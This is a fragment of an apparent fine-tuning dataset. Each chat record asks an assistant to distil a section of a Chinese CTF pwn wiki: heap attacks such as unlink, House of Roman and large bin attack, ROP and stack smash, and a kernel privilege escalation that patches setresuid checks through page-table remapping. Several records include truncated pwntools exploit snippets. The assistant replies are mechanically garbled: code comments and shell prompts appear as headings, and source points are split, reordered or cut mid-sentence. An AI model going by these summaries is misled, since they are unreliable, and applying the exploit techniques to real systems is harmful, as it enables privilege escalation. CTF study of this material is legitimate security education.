仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5157, "chunk_count": 2, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "分析", "heading_path": ["context.log_level = \"debug\"", "2018-XNUCA-gets", "分析"], "original_id": "docs-d2803bf9b2f340f38edb", "original_line": 66, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "0c784656f34b2b5c8b007ae5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:asm", "code:python"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-71e17392c7475fb8930b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「Hardened freelist」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > Mitigation > 内核“堆”上保护机制 > Hardened freelist\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Hardened freelist”展开。\n- 类似于 glibc 2.32 版本引入的保护，在开启这种保护之前，slub 中的 free object 的 next 指针直接存放着 next free object 的地址，攻击者可以通过读取 freelist 泄露出内核线性映射区的地址，在开启了该保护之后 free object 的 next 指针存放的是由以下三个值进行异或操作后的值： - 当前 free object 的地址。\n- 攻击者至少需要获取到第一与第三个值才能篡改 freelist，这无疑为对 freelist 的直接利用增添不少难度。\n- > 在更新版本的 Linux kernel 中似乎还引入了一个偏移值，笔者尚未进行考证。\n- 由 kmem\\_cache 指定的一个 random 值。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 357, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Hardened freelist", "heading_path": ["基础知识", "Mitigation", "内核“堆”上保护机制", "Hardened freelist"], "original_id": "docs-04e8abcc9ffbc384d8a4", "original_line": 652, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "c35409ba39537f0cdcce1caf", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-72153a3cd15ab3b3fd72", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「pwn-related tools」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“pwn-related tools”展开。\n- RUN /pip_venv/bin/pip config set global.index-url http://pypi.tuna.tsinghua.edu.cn/simple && \\ /pip_venv/bin/pip config set global.trusted-host pypi.tuna.tsinghua.edu.cn && \\ /pip_venv/bin/pip install -U pip && \\ /pip_venv/bin/pip install --no-cache-dir \\ p...\n- RUN git clone https://github.com/pwndbg/pwndbg && \\ cd pwndbg && chmod +x setup.sh && ./setup.sh\n- 在一个空白文件夹中创建一个名为 Dockerfile 的文件，并写入上述内容，随后运行如下指令：\n- ``shell $ docker build -t pwnenv_ubuntu24 . ``\n- > 注：若因网络原因无法完成镜像构建，可以选择为镜像构建配置代理，这通常只需要在 Dockerfile 当中添加如下内容： > > ``dockerfile > ENV HTTP_PROXY=http://your-proxy:port > ENV HTTPS_PROXY=http://your-proxy:port > ` > > 若你的代理服务器位于本地，也可以选择使用本地网络进行构建： > > `shell > docker build --network=\"host\" -t pwnenv_ubuntu...\n\n关键术语：\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- environment.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `在一个空白文件夹中创建一个名为 `Dockerfile` 的文件，并写入上述内容，随后运行如下指令：`\n- plain: 3 行，首行 `> 注：若因网络原因无法完成镜像构建，可以选择为镜像构建配置代理，这通常只需要在 Dockerfile 当中添加如下内容：`\n- plain: 4 行，首行 `>`\n- plain: 1 行，首行 `完成之后你便拥有了一个名为 `pwnenv_ubuntu24` 的带有做题环境的 Ubuntu24 镜像，可以通过 `docker images` 指令查看：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "pwn-related tools", "heading_path": ["pwn-related tools"], "original_id": "docs-c279d36a03bbc9bb28e0", "original_line": 843, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "737ecb875fbc74c0c7146781", "subcategory": "pwn/linux/user-mode", "terms": ["ROP/JOP", "pwn", "linux", "user-mode", "environment.md"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-724a0ce806f03a4a9d60", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「insert-1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：in order not to merge into top chunk > 2016 0CTF zerostorage-待完成 > 基本功能分析 > insert-1\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“insert-1”展开。\n- 2. 读取storage 元素所需要存储内容的长度。\n- 但是，需要注意的是，这里记录的storage的大小是自己输入的大小！\n- 基本功能如下 1. 逐一查看 storage 数组，查找第一个未使用的元素，但是这个数组最大也就是32。\n- 3. 使用 calloc 分配指定长度，注意 calloc 会初始化 chunk 为0。\n- 4. 将 calloc 分配的内存地址与 bss 段的一个内存（初始时刻为一个随机数）进行抑或，得到一个新的内存地址。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 426, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "insert-1", "heading_path": ["in order not to merge into top chunk", "2016 0CTF zerostorage-待完成", "基本功能分析", "insert-1"], "original_id": "docs-45d68dad5d4d1f30f906", "original_line": 1112, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "5efdfaea1a7a2dc09f987e19", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-727792bcabd7638582d6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「方法三、内核页表解析获取代码段物理地址，改写内核页表建立新映射实现 USMA」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.IV - 提权 > 方法三、内核页表解析获取代码段物理地址，改写内核页表建立新映射实现 USMA\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“方法三、内核页表解析获取代码段物理地址，改写内核页表建立新映射实现 USMA”展开。\n- 方便起见，我们可以先通过 mmap() 随便映射一块内存，之后改写 mmap() 的虚拟地址在页表中对应的物理地址即可，这种方法本质上其实就是 用户态映射攻击。\n- 这里我们选择改写 setresuid() 函数当中用来进行权限检查的 ns_capable_setid() 函数，直接 patch 掉权限检查的部分即可直接通过 setresuid() 函数将当前进程的 uid 直接改为 root。\n- 既然我们能够进行内存空间中的任意读写，直接改写内核代码段也是一个实现任意代码执行的好办法，但是直接映射区对应的内核代码段区域没有可写入权限，直接写会导致 kernel panic。\n- 但是改写内核代码段本质上便是向对应的物理页写入数据，而我们又能够读写进程页表，我们直接在用户空间建立一个到内核代码段对应物理内存的映射就能改写内核代码段了。\n\n关键术语：\n- UAF\n- 堆\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 427, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "方法三、内核页表解析获取代码段物理地址，改写内核页表建立新映射实现 USMA", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Step.IV - 提权", "方法三、内核页表解析获取代码段物理地址，改写内核页表建立新映射实现 USMA"], "original_id": "docs-5908df7eb39af9223963", "original_line": 749, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "16313395f39d02614410e22c", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "修复/缓解", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-72ab5fec98ef0d9af27f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md`\n标题：FGKASLR\n章节：FGKASLR > 参考\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- https://lwn.net/Articles/832434/ - https://github.com/kaccardi/linux/compare/fg-kaslr - https://elixir.bootlin.com/linux/latest/source/include/linux/export.h#L60 - https://www.youtube.com/watch?\n- v=VcqhJKfOcx4 - https://www.phoronix.com/scan.php?\n- page=article&item=kaslr-fgkaslr-benchmark&num=1\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 293, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "参考", "heading_path": ["FGKASLR", "参考"], "original_id": "docs-ce17e8313632d9e7a04b", "original_line": 690, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/randomization/fgkaslr.md", "source_root": "docs", "source_sha256": "7a1e8456215c0c527a2cc2e29a0de89ed5de3cf8eafa1490bc317a7ac74ec9d0", "split": "train", "split_group_key": "948c2172b7fa4d75b5abfdc5", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "defense"], "title": "FGKASLR"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/randomization/fgkaslr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-72cb63237a3858d1f199", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「leak」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:19] > 堆布局 > leak\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- ``python atoi_got = elf.got['atoi'] payload = p64(0) * 2 + p64(0x40) + p64(atoi_got) change(0, 0x80, payload) show() r.recvuntil(b\"0 : \") leak_data = r.recvuntil(b\":\")[:6] atoi_addr = u64(leak_data.ljust(8, b\"\\x00\")) libc = LibcSearcher('atoi', atoi_addr) l...\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 11 行，首行 `atoi_got = elf.got['atoi']`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 397, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "leak", "heading_path": ["zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:19]", "堆布局", "leak"], "original_id": "docs-dd8854c01691f66e8b70", "original_line": 1075, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "2a2698fc83b43e4c86c00231", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-739a6f0ac3ff1db51d88", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md` 中的章节「分析 exp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md`\n标题：House of Roman\n章节：House of Roman > 分析 exp\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析 exp”展开。\n- 分配 3 个 chunk ，在 B + 0x78 处设置 p64(0x61) ， 作用是 fake size ,用于后面 的 fastbin attack \u0003 ``python create(0x18,0) # 0x20 create(0xc8,1) # d0 create(0x65,2) # 0x70 info(\"create 2 chunk, 0x20, 0xd8\") fake = \"A\"0x68 fake += p64(0x61) ## fake size edit(1,fake) info(\"fake...\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n- code:py\n\n代码/命令片段线索：\n- python: 8 行，首行 `create(0x18,0) # 0x20`\n- plain: 9 行，首行 `free(1)`\n- py: 6 行，首行 `free(2)`\n- plain: 9 行，首行 `pwndbg> fastbins`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1115, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "分析 exp", "heading_path": ["House of Roman", "分析 exp"], "original_id": "docs-4694508a32aaef62d276", "original_line": 1000, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md", "source_root": "docs", "source_sha256": "60908879ccf90e7dd3165efe2aebdb2dfd8e6fcda3dc64a7a3620104a116aded", "split": "train", "split_group_key": "3fba6cf305c620d39a3d6d6b", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python", "code:py"], "title": "House of Roman"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-73c0e1e6381761f35a7d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「modify ebp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > modify ebp\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“modify ebp”展开。\n- 因为格式化字符串不在栈上，所以就算我们得到了需要更改的ebp的地址，也没有办法去把这个地址写到栈上，利用$符号去定位他；\n- 因为没有办法定位，所以没有办法用l\\ll等方式去写这个地址，所以只能打印很多。\n\n关键术语：\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n代码/命令片段线索：\n- plain: 1 行，首行 `system出现0截断的情况下，exp如下:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2413, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "modify ebp", "heading_path": ["例子", "modify ebp"], "original_id": "docs-d213214df0c1abf9bfe8", "original_line": 44, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "d2c5e08cfd2277310c980872", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-74160f848df8177b5dc1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > Stack smash > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- } ` 所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址，那么在 __fortify_fail 函数中就会输出我们想要的信息。\n- 而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。\n- 其代码如下 ``C void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail (\"stack smashing detected\");\n- `c #include  void __attribute__ ((noreturn)) __fortify_fail (const char msg) { / The loop is added only to keep gcc happy. / while (1) __libc_message (do_abort, \" %s : terminated\\n\", msg);\n- } libc_hidden_def (__fortify_fail) `` > 总结一下原因就是现在不会打印argv[0] 指针所指向的字符串\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n\n代码/命令片段线索：\n- C: 11 行，首行 `void __attribute__ ((noreturn)) __stack_chk_fail (void)`\n- c: 10 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1068, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "Stack smash", "原理"], "original_id": "docs-f38c6f9b7dd234340704", "original_line": 1264, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "ea7d49a0d5ba41d527d7eaa3", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:c"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-742627835907fff8cab6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：基本 ROP > ret2text > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets)，这就是我们所要说的ROP。\n- ret2text 即控制程序执行程序本身已有的的代码 (即， .text 段中的代码) 。\n- 当然程序也可能会开启某些保护，我们需要想办法去绕过这些保护。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 183, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["基本 ROP", "ret2text", "原理"], "original_id": "docs-1feeb404cdafaa8096d3", "original_line": 63, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "8b86e04e5251e1bac8a20d7e", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-74ff122d725d980c87e9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md` 中的章节「总结 large bin attack 的利用方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md`\n标题：Large Bin Attack\n章节：Large Bin Attack > 总结 large bin attack 的利用方法\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“总结 large bin attack 的利用方法”展开。\n- how2heap 中也说了，large bin attack 是未来更深入的利用。\n- 现在我们来总结一下利用的条件： + 可以修改一个 large bin chunk 的 data + 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面 + 通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击 + 可以修改 _IO_list_all 便于伪造 _IO_FILE 结构体进行 FSOP。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 244, "chunk_count": 1, "chunk_index": 0, 